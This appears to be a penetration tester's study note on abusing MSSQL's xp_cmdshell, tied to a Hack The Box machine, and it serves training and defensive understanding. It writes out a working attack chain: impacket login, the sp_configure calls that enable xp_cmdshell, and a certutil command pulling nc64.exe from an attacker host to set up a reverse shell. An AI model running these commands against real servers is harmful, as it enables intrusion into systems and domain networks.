đź§ MSSQL - xp_cmdshell Command Execution
What is it?
- Concept:
xp_cmdshellis an extended stored procedure built into MSSQL that hands a query straight tocmd.exeand returns the output as a result set. It ships disabled by default, but any login with thesysadminserver role can re-enable it with twosp_configurecalls — at which point the SQL Server becomes a full OS command execution primitive. - Impact: Turns any
sysadminSQL login (including the built-insaaccount) into arbitrary command execution running as whatever OS account the SQL Server service itself runs under — frequently a domain service account (e.g.sql_svc), which converts “I have a database password” directly into “I have a foothold on a domain-joined host.”
How it works
- SQL Server’s
sysadminfixed server role is a database-level privilege, not an OS one — butxp_cmdshellbridges that gap by letting a query invokecmd.exe /con the underlying Windows host. - It’s disabled by default specifically because of that bridge; enabling it requires
sysadmin(or an equivalent explicit grant), so re-enabling it is itself a deliberate escalation step, not something a low-privilege login can do. - Once enabled, every command passed to
xp_cmdshellruns with the privileges of the SQL Server service account — not the login that authenticated to the database — so the resulting shell’s identity depends entirely on how the service itself was configured (NT SERVICE\MSSQLSERVER,NT AUTHORITY\SYSTEM, or, commonly in AD environments, a dedicated domain service account set up during install).
Exploitation
Prerequisites
- A SQL login with the
sysadminserver role (saor an account explicitly added to it)
Attack Vectors
# 1. Authenticate to MSSQL with a sysadmin-capable login (SQL auth, not domain auth)
impacket-mssqlclient '<domain>/<user>:<pass>@<target>'-- 2. xp_cmdshell is disabled by default; both steps below are required to turn it on
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;-- 3. Confirm the OS-level identity actually executing commands
xp_cmdshell whoami;-- 4. Full command execution — here, pulling a binary from an attacker HTTP server
-- and dropping it on disk, ahead of turning it into a reverse shell
xp_cmdshell 'certutil -urlcache -split -f http://<attacker_ip>:<port>/nc64.exe C:\Windows\Temp\nc64.exe';Notes
enable_xp_cmdshell(as a bare word, noEXEC) isimpacket-mssqlclient’s own shorthand for the twosp_configurecalls above — functionally identical, just shorter to type from inside its interactive shell.- The
whoamicheck in step 3 matters beyond curiosity: if it comes back as a domain account rather than a local service SID, that account’s own AD group memberships and permissions are now reachable, which is often a much bigger foothold than the SQL access itself. certutil -urlcache -split -fis a built-in Windows LOLBin download primitive — useful here specifically becausexp_cmdshelloutput is just text, so there’s no interactive shell yet towget/curla payload with; it has to be a single one-shot command.
Mitigation
- Fix: Leave
xp_cmdshelldisabled unless a specific, audited operational need exists; where it must be enabled, restrict which logins holdsysadminand monitorsp_configurechanges, since enabling it is itself the entire attack.
Related Usage
| File | Created |
|---|---|
| HTB - EscapeTwo | Thursday, July 23rd 2026, 10:31:00 pm |
References: